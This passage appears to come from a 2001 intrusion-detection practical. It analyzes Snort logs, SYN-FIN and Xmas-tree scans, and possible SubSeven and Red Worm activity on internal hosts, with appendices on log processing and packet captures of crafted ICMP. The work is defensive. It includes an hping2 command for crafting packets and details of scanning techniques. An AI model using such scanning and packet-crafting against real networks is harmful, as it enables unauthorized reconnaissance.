Y = 24.163.255.147
Z = 24.93.221.31
f = 129.217.240.77
g = 129.237.48.140
h = 129.93.206.89
i = 130.111.152.76
FF = 194.236.142.115
GG = 194.236.50.60
HH = 195.132.20.167
II = 195.194.178.252
ff = 208.2.208.230
gg = 208.40.12.35
hh = 208.40.12.97
ii = 209.14.216.137
j = 130.240.195.206
k = 131.204.196.8
l = 131.204.206.150
m = 131.211.104.241
n = 132.68.148.60
o = 134.109.185.77
p = 139.142.84.242
q = 142.165.130.184
r = 142.166.129.39
s = 147.251.48.205
t = 147.46.64.75
u = 148.235.88.70
v = 150.216.125.188
w = 151.203.18.154
x = 152.33.102.201
y = 158.75.57.4
z = 165.121.40.102
JJ = 198.142.52.2
KK = 199.8.35.235
LL = 200.42.5.159
MM = 202.104.128.94
NN = 202.50.71.50
OO = 202.92.68.179
PP = 202.92.69.172
QQ = 202.92.69.199
RR = 202.92.70.1
SS = 202.92.70.252
TT = 202.92.94.214
UU = 202.92.97.129
VV = 202.92.98.32
WW = 203.146.103.230
XX = 204.185.36.143
YY = 204.244.73.241
ZZ = 205.251.212.132
jj = 209.179.226.136
kk = 209.179.229.1
ll = 209.179.229.9
mm = 209.221.200.17
nn = 209.233.26.247
oo = 209.52.60.233
pp = 209.77.13.138
qq = 209.85.37.71
rr = 210.54.80.221
ss = 212.10.18.172
tt = 212.104.166.2
uu = 212.111.188.29
vv = 212.171.49.18
ww = 212.172.200.231
xx = 212.32.176.6
yy = 212.68.217.211
zz = 212.95.81.20
By inspecting the link graph, we can observe the following:
 Most of the connection attempts from external IP addresses contained one to
three packets. The dense line of letters just above the x-axis indicates this.
 A few selected ports received numerous hits. The top 25 ports with the most
hits (besides port 21, which received 2,832 hits) is shown below:
Dest_Port
6346
80
21536
20
6347
6699
6688
5501
113
6700
2554
10281
4237
2055
CountOfDest_Port
234
64
41
40
32
28
17
13
7
7
6
6
5
5
98
50847
4657
32864
6345
50875
2054
54392
61538
14412
1
6355
4
4
4
4
4
4
4
4
4
4
3
 Using these port connection totals and the link graph, we can observe how
many hosts are trying to connect to the various ports. For instance, port 20
was hit by two external IP’s: G = 209.221.200.17 and H = 63.202.186.140.
Port 80 received attempted connections for numerous hosts, with the top
originating sender being R = 209.189.115.49. Port 6346 (Gnutella) received
the most hits in the list above.
While link graphs are a great way to visually detect patterns and display data trends, the
large number of OOS packets received makes detailed analysis difficult without creating
a large number of graphs. To further analyze the data, specific queries were written based
on selected well-known attacker techniques. The results are shown below:
SYN-FIN Scanning:
One internal host and one external host created all the detected SYN-FIN scans. The
external host scanning 2,833 internal hosts using this technique. A subset of the data is
shown below:
Day
17
17
17
19
18
Time
8:18:58 PM
8:20:39 PM
11:01:58 AM
10:22:03 AM
7:55:21 PM
Src_IP
MY.NET.217.182
MY.NET.217.182
MY.NET.217.182
MY.NET.217.182
62.238.69.199
Dest_Port
1478
6346
11682
49349
21
Packet_Flag
s
**SF****
**SF****
**SF****
**SF****
**SF****
“X-mas Tree” Scanning:
X-mas Tree scans are scans that send packets with all the flags set. The follows flag
combination was used to query these packets from the database: 21SFRPAU. Twentytwo packets met these criteria. The data set is shown below.
Day
13
13
13
Time
6:28:22 AM
12:02:44 PM
11:07:42 PM
Src_IP
24.177.231.216
209.221.200.17
24.70.144.150
Dest_Port
1214
1256
6346
Packet_Flag
s
21SFRPAU
21SFRPAU
21SFRPAU
99
13
14
16
16
16
16
16
16
16
19
19
19
19
19
19
19
19
19
19
11:13:27 PM
7:27:40 AM
4:53:59 AM
11:25:28 AM
11:27:13 AM
11:29:27 AM
11:33:16 AM
11:58:12 AM
7:17:27 PM
9:31:43 AM
10:23:44 PM
10:24:05 PM
10:26:44 PM
10:30:00 PM
10:50:40 PM
11:03:13 PM
11:05:40 PM
11:18:18 PM
11:39:43 PM
24.141.138.19
132.68.148.60
213.132.153.55
209.221.200.17
209.221.200.17
209.221.200.17
209.221.200.17
209.221.200.17
24.216.227.244
62.161.99.251
209.233.26.247
63.202.186.140
66.27.58.133
66.27.58.133
64.210.30.8
63.202.186.140
63.175.96.1
63.230.236.52
216.115.107.17
1452
4237
6688
20
20
20
20
20
1511
6346
6346
20
58592
14412
6700
20
6346
6699
64828
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
21SFRPAU
Anomalous Activity and Compromised Machines on the Internal Network
Identifying compromised machines and computer misuse from an unfamiliar network’s logs
is at best a risky endeavor. Having first hand knowledge of the network and a sense of what
is “normal” is the best tool in identifying anomalous activity. Having said that, and using the
logs that have been provided, the following recommendations should be considered for
machines within your internal network.
 Your internal host MY.NET.178.42 should be inspected for trojans and other viruses. A
complete virus scan of the box is in order.

Inspect the internal hosts MY.NET.6.34, MY.NET.253.41 and MY.NET.6.7. These hosts
were either the source and/or destination of possible “myserver” traffic.

The hosts MY.NET.204.194, MY.NET.70.242, MY.NET.217.230, and
MY.NET.212.198 should be carefully inspected. If the Red Worm is not found on these
internal hosts, web server logs should be inspected to see what kinds of traffic these hosts
created.

Inspect the following hosts for the Red Worm alert as above: MY.NET.201.206,
MY.NET.210.130, MY.NET.253.24, and MY.NET.228.126.
 A possible SubSeven infestation of your internal network might have occurred. See
Possible trojan server activity for more detail.
 The internal host MY.NET.202.34 appears to be scanning the Internet for machines with
Subseven servers listening on port 27374.
100
 The internal hosts MY.NET.202.34, MY.NET.98.142 and MY.NET.221.50 appear to be
at least attempting to task trojans listening on port 27374 on the Internet. Also note that
MY.NET.221.50 was identified in the "tcp Red Worm" alert as sending traffic to port
65535.
 The following hosts should be inspected for signs of misuse and/or compromise. In
particular, a large amount of port 20 (FTP) traffic was observed between external hosts
and these internal machines.
MY.NET.144.54
MY.NET.100.56
MY.NET.253.43
MY.NET.6.47
MY.NET.253.52
MY.NET.6.7
MY.NET.4.3
MY.NET.100.230
MY.NET.6.35
MY.NET.6.34
MY.NET.253.51
MY.NET.253.41
 Since OOS packets contain unusual or illegal TCP packet flag combinations, all internal
hosts that send such packets should be inspected. The following is a list of such hosts,
and how many packets they sent. These hosts should be inspected for possible
compromise or misuse.
Src_IP
MY.NET.217.182
MY.NET.202.242
MY.NET.225.42
MY.NET.224.230
MY.NET.222.250
MY.NET.220.58
MY.NET.213.210
MY.NET.206.186
MY.NET.201.166
CountOfSrc_IP
315
5
1
1
1
1
1
1
1
101
References
[1] Postel, J. “Internet Control Message Protocol DARPA Internet Program Protocol
Specification” RFC 792. September, 1981. URL:
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc0792.html (10 June, 2001).
[2] Stevens, W. Richard “TCP/IP Illustrated, Volume 1” Addison-Wesley, 1994.
URL: http://www.bookpool.com/.x/a2x6nrz4y8/sm/0201633469
[3] Winters, Scott “Top Ten Blocking Recommendations Using Cisco ACL, Securing the
Perimeter with Cisco IOS 12 Routers” August 15, 2000. URL:
http://www.sans.org/infosecFAQ/firewall/blocking_cisco.htm (10 June, 2001).
[4] Cisco Sytems Inc. “Improving Security on Cisco Routers” 1992-2001. URL:
http://www.cisco.com/warp/public/707/21.html (10 June, 2001).
[5] SANS Institute “Cisco Anti-Spoof Egress Filtering” Revision 1.26. March 23, 2000. URL:
http://www.sans.org/dosstep/cisco_spoof.htm (10 June, 2001).
[6] Asadoorian, Paul “What is the TSIG vulnerability?” April 4, 2001. URL:
http://www.sans.org/newlook/resources/IDFAQ/TSIG.htm (June 14, 2001).
[7] Albitz, Paul and Liu, Cricket “DNS and BIND: 3rd Edition" O’Reilly & Associates, Inc., 1998.
URL (The 4th edition of “DNS and BIND” is now available. It’s purchase is suggested.):
http://www.bookpool.com/.x/a2x6nrz4x1/sm/0596001584 (June 15, 2001).
[8] Eastlake, D. 3rd, Brunner-Williams, E., and Manning, B. “Domain Name System (DNS)
IANA Considerations” RFC 2929. September, 2000. URL:
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2929.html (15 June, 2001).
[9] Kuethe, Chris “GCIA Practical Assignment” February 22, 2001. URL:
http://www.sans.org/y2k/practical/chris_kuethe_gcia.html#1.4 (June 10, 2001).
[10] Para-Protect “Operational Risk Advisory 20010108.0900/ORA1”, January 8, 2001. URL:
http://www.para-protect.com/Advisories/Guests/2001/20010108.0900_ORA1.pdf (July 3, 2001).
[11] Ricketts, Mike “SendIP”, April 26, 2001. URL:
http://www.earth.li/projectpurple/progs/sendip.html (June 2, 2001).
[12] Whitehats, Inc. “IDS177/NETBIOS_NETBIOS-NAME-QUERY”, June 27, 2001. URL:
http://www.whitehats.com/IDS/177 (July 1, 2001).
102
Appendix A
Detailed Analysis Process Used to Analyze GIAC University Snort Data
I chose to analyze the Snort files that were labeled with the dates 04/13/01 to 04/19/01. There
were seven sources for the alerts, oos, and scan file types (one of each per day).
Tools Used in the Analysis Process






awk
vi editor
bash shell
Perl, version 5.6.0
Microsoft Access 97
SnortSnarf, version 052101.1
Alert Files
The alert files alert.010413 through alert.010419 were cat’d together and redirected to the file
alert.010413_to_010419 with the following command:
cat alert.010413 alert.010414 alert.010415 alert.010416
alert.010417 alert.010418 alert.010419 > alert.010413_to_010419.
To analyze the alert data, I modified all the entries in the alert.010413_to_010419 file that had
the first two octets “MY.NET” to be “199.256”. This is because SnortSnarf does not interpret
“MY.NET” correctly and thus causes the source and destination address to appear as “(no IP)” in
the SnortSnarf signature page. To do this, I copied the file alert.010413_to_010419 to
alert.010413_to_010419_modified. Although “199.256” is not a valid beginning portion of any
network address, I first grep’d the alert.010413_to_010419_modified file to make sure this
string not occur. It did not. Note that this modification was not necessary for analyzing the data
in the Access database I created, so I left the “MY.NET” portion of the internal IP addresses
intact.
I then vi’d the alert.010413_to_010419_modified file and replaced all occurrences of the string
“MY.NET” with “199.256” by issuing the following command in “command mode” (achieved
by hitting the escape key in vi):
:1,$s/MY.NET/199.256/g
The screen shot of the “SnortSnarf start page” is of the screen when the SnortSnarf.pl script was
run using the alert.010413_to_010419_modified file as the argument.
I observed that SnortSnarf did not include the spp_portscan entries in the alert summary page.
After looking at real Snort alert files from my own network, it seems that the portscan only
produces an alert when a signature is matched. Thus, I decided I needed to grep out all the
103
portscan log entries with the string “TOTAL HOST” from my
alert.010413_to_010419_modified file and analyze these separately.
The “outside network” events in the alerts file did not show up in the scan files, so I grep’d out
these events to analyze separately. The file containing the “outside network” events was
modified using vi commands such as :1,$s/\//:/g to replace the “/” character with a “:”
to make the field delimiters uniform and importing the file into the database easier. I also used
the awk command to pull out the time field and into another file (awk ‘{print $1}’
scan_data > scan_data_time). Many substitutions using vi and various awk
commands were used to finally create a set of files I could import into the database and create a
single table via a “make table” query.
I then modified the alert data using a few global search and replace command using vi and
egrep’d out all lines with the string “spp_portscan” from the
alert.010413_to_010419_modified file and redirected the results to a separate data file. Since
the remaining alerts had variable length “alert messages” that were delimited by spaces, I used
the Perl script below to extract all the fields with a colon “:” out of the data file and redirect those
results to yet another data file. The results included the date, time, source IP, source port,
destination IP, and destination port. This data was then loaded into the Access database for
analysis as “inside alerts”, which are connection attempts that have a MY.NET.* address as
either the source or destination address, or both.
#!/usr/bin/perl -w
use strict;
my ($line,@line,$found,$f);
while ( defined ($line = <>) ) {
chomp $line;
@line = split( /\s+/, $line);
$found = 0;
foreach $f (@line ) {
## output field seperator
$found and print " ";
if ( $f =~ /\:/) {
print $f;
$found = 1;
}
}
$found and print "\n";
}
Scan Files
104
The scan files were cat’d together and redirected to a new file. Similar vi and awk
commands were used to properly delimit the data and the resulting file was then imported into
the database.
OOS Files
Next, I grep’d out the first line of each packet of the OOS files using the “MY.NET” string into
a separate file. I then compared the number of lines in this new file to the number of packets that
Snort processed (available at the bottom of the OOS file). In all cases, they were the same.
I then grep’d out the subsequent lines of each packet containing the TTL and ACK fields to
separate files. Since the OOS data only included TCP packets, grep’ing on “TTL” and “Ack” are
valid operations in terms of maintaining the data integrity while porting the data to the database.
I then imported this data into the database and combined it into a single table using a “make
table” query. I did not, however, load any payload data from the OOS files into the database.
Access Database
Finally, I wrote numerous queries that correlated data based on IP, port, time, protocols, etc. The
database is located here: http://web2.airmail.net/a0055941/gcia_v2.9_snort_db.ZIP.
105
Appendix B
Snort packet captures of the broadscan.c, broadscan05.c and hping2-beta54 tools sending
crafted ICMP echo requests.
The Broadscan tools cannot craft an ICMP ID of 0, or a TOS value of 0xC0, without the attacker
significantly modifying the source code. In addition, the broadscan packet captures below reflect
a few modifications to the hardcoded IP octets in the source code to enable the tool to run on my
network. These modifications did not affect the attack signature in any way, other than the
destination address having a last octet that the original source code could not create. All the
following traces were obtained from traffic created by binaries compiled and executed using
Mandrake Linux 7.1.
broadscan.c
06/06-15:15:17.032604 0:D0:59:13:a:b -> FF:FF:FF:FF:FF:FF type:0x800 len:0x62
192.168.1.28 -> 192.168.1.31 ICMP TTL:64 TOS:0x0 ID:1064 IpLen:20 DgmLen:84
Type:8 Code:0 ID:54020 Seq:0 ECHO
55 8F 1E 3B 3D 7F 00 00 08 09 0A 0B 0C 0D 0E 0F U..;=...........
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
30 31 32 33 34 35 36 37
01234567
broadscan05.c
06/06-15:14:32.398046 0:D0:59:13:a:b -> FF:FF:FF:FF:FF:FF type:0x800 len:0x62
192.168.1.28 -> 192.168.1.31 ICMP TTL:64 TOS:0x0 ID:1062 IpLen:20 DgmLen:84
Type:8 Code:0 ID:51716 Seq:0 ECHO
28 8F 1E 3B AD 12 06 00 08 09 0A 0B 0C 0D 0E 0F (..;............
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
30 31 32 33 34 35 36 37
01234567
Note that the -E option in hping2 could supposedly be used to read data from a file, which might
create the crafted ICMP. However, I could not get the IP ID to hardcode to a single, unchanging
value, or craft the ICMP ID to be 0. Hping2 can however craft the TOS value.
hping2-beta54
Output from the command: hping2 192.168.1.26 -1 -N 0 -o C0 -C 8 -K 0 -d 4
06/07-10:42:05.635143 0:D0:59:13:a:b -> 8:0:20:A9:a:b type:0x800 len:0x2E
192.168.1.28 -> 192.168.1.26 ICMP TTL:64 TOS:0xC0 ID:1104 IpLen:20 DgmLen:32
Type:8 Code:0 ID:44036 Seq:0 ECHO
58 58 58 58
XXXX
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/07-10:42:06.634480 0:D0:59:13:a:b -> 8:0:20:A9:a:b type:0x800 len:0x2E
192.168.1.28 -> 192.168.1.26 ICMP TTL:64 TOS:0xC0 ID:1105 IpLen:20 DgmLen:32
Type:8 Code:0 ID:44036 Seq:256 ECHO
58 58 58 58
XXXX
106
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/07-10:42:07.634465 0:D0:59:13:a:b -> 8:0:20:A9:a:b type:0x800 len:0x2E
192.168.1.28 -> 192.168.1.26 ICMP TTL:64 TOS:0xC0 ID:1106 IpLen:20 DgmLen:32
Type:8 Code:0 ID:44036 Seq:512 ECHO
58 58 58 58
XXXX
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Based on these packet captures, and those produced by SendIP, I believe the traffic in the first
trace of Assignment 1 was produced by the tool SendIP.
107